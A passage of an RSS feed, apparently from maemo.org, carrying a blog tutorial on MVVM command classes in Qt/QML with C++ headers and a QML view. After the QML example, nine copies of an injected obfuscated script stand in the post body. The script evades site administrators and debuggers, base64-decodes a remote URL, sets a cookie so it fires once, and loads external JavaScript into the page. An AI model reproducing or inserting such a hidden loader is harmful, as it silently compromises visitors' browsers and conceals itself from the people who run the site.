<p>I added a <a href="https://github.com/pvanhoof/mvvm/blob/master/MVVM/Commands/CompositeCommand.h">CompositeCommand</a> in the mix. For a Q_PROPERTY isn&#8217;t a <a href="https://github.com/pvanhoof/mvvm/blob/master/MVVM/Commands/CommandProxy.h">CommandProxy</a> really needed, as ownership stays in C++ (when for example you pass this as parent). For a Q_INVOKABLE you would need it to wrap the QSharedPointer&lt;AbstractCommand&gt;.</p>
<p><em>Note. I already hear you think: wait a minute, you are not passing this to the QObject&#8217;s constructor, it&#8217;s not a QScopedPointer and you have a new but no delete. That&#8217;s because CommandProxy converts the ownership rules to QQmlEngine::setObjectOwnership (this, QQmlEngine::JavaScriptOwnership) for itself. I don&#8217;t necessarily recommend its usage here (for it&#8217;s not immediately clear), but at the same time this is just a demo. You can try printing a warning in the destructor and you&#8217;ll see that the QML garbage collector takes care of it.</em></p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QObject</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QScopedPointer</span><span style="color: #800000;">&gt;</span>

<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">MVVM/Commands/CommandProxy.h</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">MVVM/Commands/CompositeCommand.h</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">MVVM/Commands/RelayCommand.h</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">MVVM/Models/CommandListModel.h</span><span style="color: #800000;">&gt;</span>

<span style="color: #800000; font-weight: bold;">class</span> ViewModel<span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> <span style="color: #603000;">QObject</span>
<span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>

    <span style="color: #004a43; background: #ffffff;">Q_PROPERTY</span><span style="color: #808030; background: #ffffff;">(</span><span style="color: #000000; background: #ffffff;">CommandProxy</span><span style="color: #808030; background: #ffffff;">*</span><span style="color: #000000; background: #ffffff;"> helloCommand </span><span style="color: #800000; background: #ffffff; font-weight: bold;">READ</span><span style="color: #000000; background: #ffffff;"> helloCommand CONSTANT</span><span style="color: #808030; background: #ffffff;">)</span>
<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    ViewModel<span style="color: #808030;">(</span><span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>parent<span style="color: #808030;">=</span><span style="color: #008c00;">0</span><span style="color: #808030;">)</span><span style="color: #800080;">:</span><span style="color: #603000;">QObject</span><span style="color: #808030;">(</span>parent<span style="color: #808030;">)</span><span style="color: #808030;">,</span>
        helloCmd<span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">new</span> CompositeCommand<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #808030;">)</span><span style="color: #800080;">{</span>

        QSharedPointer<span style="color: #800080;">&lt;</span>CompositeCommand<span style="color: #800080;">&gt;</span> cCmd <span style="color: #808030;">=</span> helloCmd<span style="color: #808030;">.</span>dynamicCast<span style="color: #800080;">&lt;</span>CompositeCommand<span style="color: #800080;">&gt;</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
        cCmd<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>add<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">new</span> RelayCommand <span style="color: #808030;">(</span><span style="color: #808030;">[</span><span style="color: #808030;">=</span><span style="color: #808030;">]</span> <span style="color: #ffffff; background: #dd0000; font-weight: bold; font-style: italic;">{</span> <span style="color: #400000;">qWarning</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #808030;">&lt;</span><span style="color: #808030;">&lt;</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">Hello1 from C++ RelayCommand</span><span style="color: #800000;">"</span><span style="color: #800080;">;</span> <span style="color: #ffffff; background: #dd0000; font-weight: bold; font-style: italic;">}</span><span style="color: #808030;">,</span>
                            <span style="color: #808030;">[</span><span style="color: #808030;">=</span><span style="color: #808030;">]</span><span style="color: #ffffff; background: #dd0000; font-weight: bold; font-style: italic;">{</span> <span style="color: #800000; font-weight: bold;">return</span> <span style="color: #800000; font-weight: bold;">true</span><span style="color: #800080;">;</span> <span style="color: #ffffff; background: #dd0000; font-weight: bold; font-style: italic;">}</span><span style="color: #808030;">)</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
        cCmd<span style="color: #808030;">-</span><span style="color: #808030;">&gt;</span>add<span style="color: #808030;">(</span> <span style="color: #800000; font-weight: bold;">new</span> RelayCommand <span style="color: #808030;">(</span><span style="color: #808030;">[</span><span style="color: #808030;">=</span><span style="color: #808030;">]</span> <span style="color: #ffffff; background: #dd0000; font-weight: bold; font-style: italic;">{</span> <span style="color: #400000;">qWarning</span><span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #808030;">&lt;</span><span style="color: #808030;">&lt;</span> <span style="color: #800000;">"</span><span style="color: #0000e6;">Hello2 from C++ RelayCommand</span><span style="color: #800000;">"</span><span style="color: #800080;">;</span> <span style="color: #ffffff; background: #dd0000; font-weight: bold; font-style: italic;">}</span><span style="color: #808030;">,</span>
                            <span style="color: #808030;">[</span><span style="color: #808030;">=</span><span style="color: #808030;">]</span><span style="color: #ffffff; background: #dd0000; font-weight: bold; font-style: italic;">{</span> <span style="color: #800000; font-weight: bold;">return</span> <span style="color: #800000; font-weight: bold;">true</span><span style="color: #800080;">;</span> <span style="color: #ffffff; background: #dd0000; font-weight: bold; font-style: italic;">}</span><span style="color: #808030;">)</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
        proxyCmd <span style="color: #808030;">=</span> <span style="color: #800000; font-weight: bold;">new</span> CommandProxy <span style="color: #808030;">(</span>helloCmd<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800080;">}</span>
    CommandProxy<span style="color: #808030;">*</span> helloCommand<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #800080;">{</span>
        <span style="color: #800000; font-weight: bold;">return</span> proxyCmd<span style="color: #800080;">;</span>
    <span style="color: #800080;">}</span>
<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
    QSharedPointer<span style="color: #800080;">&lt;</span>AbstractCommand<span style="color: #800080;">&gt;</span> helloCmd<span style="color: #800080;">;</span>
    CommandProxy <span style="color: #808030;">*</span>proxyCmd<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span></pre>
<p>Let&#8217;s also make a very simple <a href="https://github.com/pvanhoof/mvvm/blob/master/Examples/View.qml">View.qml</a> that uses the ViewModel</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #800000; font-weight: bold;">import</span> QtQuick <span style="color: #008000;">2.3</span>
<span style="color: #800000; font-weight: bold;">import</span> QtQuick<span style="color: #808030;">.</span>Window <span style="color: #008000;">2.0</span>
<span style="color: #800000; font-weight: bold;">import</span> QtQuick<span style="color: #808030;">.</span>Controls <span style="color: #008000;">1.2</span>

<span style="color: #800000; font-weight: bold;">import</span> Example <span style="color: #008000;">1.0</span>

Item <span style="color: #800080;">{</span>
    property ViewModel viewModel<span style="color: #800080;">:</span> ViewModel <span style="color: #800080;">{</span><span style="color: #800080;">}</span>

    Button <span style="color: #800080;">{</span>
        enabled<span style="color: #800080;">:</span> viewModel<span style="color: #808030;">.</span>helloCommand<span style="color: #808030;">.</span>canExecute
        onClicked<span style="color: #800080;">:</span> viewModel<span style="color: #808030;">.</span>helloCommand<span style="color: #808030;">.</span>execute<span style="color: #808030;">(</span><span style="color: #808030;">)</span>
    <span style="color: #800080;">}</span>
<span style="color: #800080;">}</span></pre>
<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1e78903df5e32f6890311e7843c470785d9cd16cd16&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1e78903df5e32f6890311e7843c470785d9cd16cd16/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1e78903df5e32f6890311e7843c470785d9cd16cd16&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1e78903df5e32f6890311e7843c470785d9cd16cd16/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Thu, 24 Aug 2017 18:57:12 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1e78903df5e32f6890311e7843c470785d9cd16cd16</guid>
        </item>
        <item>
            <title>AbstractCommand Model View ViewModel techniques</title>
            <link>https://pvanhoof.be/blog/index.php/2017/08/18/abstractcommand-model-view-viewmodel-techniques</link>
            <description><![CDATA[
<p>In the .NET XAML world, you have the <a href="https://msdn.microsoft.com/en-us/library/system.windows.input.icommand(v=vs.110).aspx">ICommand</a>, the <a href="https://msdn.microsoft.com/en-us/library/microsoft.practices.composite.presentation.commands.compositecommand.aspx">CompositeCommand</a> and the <a href="https://msdn.microsoft.com/en-us/library/ff654132.aspx">DelegateCommand</a>. You use these commands to in a declarative way bind them as properties to XAML components like menu items and buttons. You can find an excellent book on this titled <a href="https://www.microsoft.com/en-us/download/details.aspx?id=42572">Prism 5.0 for WPF</a>.</p>
<p>The ICommand defines two things: a <a href="https://msdn.microsoft.com/en-us/library/system.windows.input.icommand.canexecute(v=vs.110).aspx">canExecute</a> property and an <a href="https://msdn.microsoft.com/en-us/library/system.windows.input.icommand.execute(v=vs.110).aspx">execute()</a> method. The CompositeCommand allows you to combine multiple commands together, the DelegateCommand makes it possible to pass two delegates (functors or lambda&#8217;s); one for the canExecute evaluation and one for the execute() method.</p>
<p>The idea here is that you want to make it possible to put said commands in a ViewModel and then data bind them to your View (so in QML that&#8217;s with Q_INVOKABLE and Q_PROPERTY). Meaning that the action of the component in the view results in execute() being called, and the component in the view being enabled or not is bound to the canExecute bool property.</p>
<p>In QML that of course corresponds to a ViewModel.cpp for a View.qml. Meanwhile you also want to make it possible to in a declarative way use certain commands in the View.qml without involving the ViewModel.cpp.</p>
<p>So I tried making exactly that. <a href="https://github.com/pvanhoof/mvvm">I&#8217;ve placed it on github</a> in a project I plan to use more often to collect MVVM techniques I come up with. And in this article I&#8217;ll explain how and what. I&#8217;ll stick to the header files and the QML file.</p>
<p>We start with defining a <a href="https://github.com/pvanhoof/mvvm/blob/master/MVVM/Commands/AbstractCommand.h">AbstractCommand</a> interface. This is very much like .NET&#8217;s <a href="https://msdn.microsoft.com/en-us/library/system.windows.input.icommand(v=vs.110).aspx">ICommand</a>, of course:</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QObject</span><span style="color: #800000;">&gt;</span>

<span style="color: #800000; font-weight: bold;">class</span> AbstractCommand <span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> <span style="color: #603000;">QObject</span> <span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>
    <span style="color: #004a43; background: #ffffff;">Q_PROPERTY</span><span style="color: #808030; background: #ffffff;">(</span><span style="color: #800000; background: #ffffff; font-weight: bold;">bool</span><span style="color: #000000; background: #ffffff;"> canExecute </span><span style="color: #800000; background: #ffffff; font-weight: bold;">READ</span><span style="color: #000000; background: #ffffff;"> canExecute NOTIFY canExecuteChanged</span><span style="color: #808030; background: #ffffff;">)</span>
<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    AbstractCommand<span style="color: #808030;">(</span><span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>parent <span style="color: #808030;">=</span> <span style="color: #008c00;">0</span><span style="color: #808030;">)</span><span style="color: #800080;">:</span><span style="color: #603000;">QObject</span><span style="color: #808030;">(</span>parent<span style="color: #808030;">)</span><span style="color: #800080;">{</span><span style="color: #800080;">}</span>
    Q_INVOKABLE <span style="color: #800000; font-weight: bold;">virtual</span> <span style="color: #800000; font-weight: bold;">void</span> execute<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #808030;">=</span> <span style="color: #008c00;">0</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">virtual</span> <span style="color: #800000; font-weight: bold;">bool</span> canExecute<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #800000; font-weight: bold;">const</span> <span style="color: #808030;">=</span> <span style="color: #008c00;">0</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">signals</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">void</span> canExecuteChanged<span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">bool</span> canExecute<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span></pre>
<p>We will also make a command that is very easy to use in QML, the <a href="https://github.com/pvanhoof/mvvm/blob/master/MVVM/Commands/EmitCommand.cpp">EmitCommand</a>:</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">MVVM/Commands/AbstractCommand.h</span><span style="color: #800000;">&gt;</span>

<span style="color: #800000; font-weight: bold;">class</span> EmitCommand <span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> AbstractCommand
<span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>
    <span style="color: #004a43; background: #ffffff;">Q_PROPERTY</span><span style="color: #808030; background: #ffffff;">(</span><span style="color: #800000; background: #ffffff; font-weight: bold;">bool</span><span style="color: #000000; background: #ffffff;"> canExecute </span><span style="color: #800000; background: #ffffff; font-weight: bold;">READ</span><span style="color: #000000; background: #ffffff;"> canExecute </span><span style="color: #800000; background: #ffffff; font-weight: bold;">WRITE</span><span style="color: #000000; background: #ffffff;"> setCanExecute NOTIFY privateCanExecuteChanged</span><span style="color: #808030; background: #ffffff;">)</span>
<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    EmitCommand<span style="color: #808030;">(</span><span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>parent<span style="color: #808030;">=</span><span style="color: #008c00;">0</span><span style="color: #808030;">)</span><span style="color: #800080;">:</span>AbstractCommand<span style="color: #808030;">(</span>parent<span style="color: #808030;">)</span><span style="color: #800080;">{</span><span style="color: #800080;">}</span>

    <span style="color: #800000; font-weight: bold;">void</span> execute<span style="color: #808030;">(</span><span style="color: #808030;">)</span> Q_DECL_OVERRIDE<span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">bool</span> canExecute<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #800000; font-weight: bold;">const</span> Q_DECL_OVERRIDE<span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">public slots</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">void</span> setCanExecute<span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">bool</span> canExecute<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">signals</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">void</span> executes<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> privateCanExecuteChanged<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
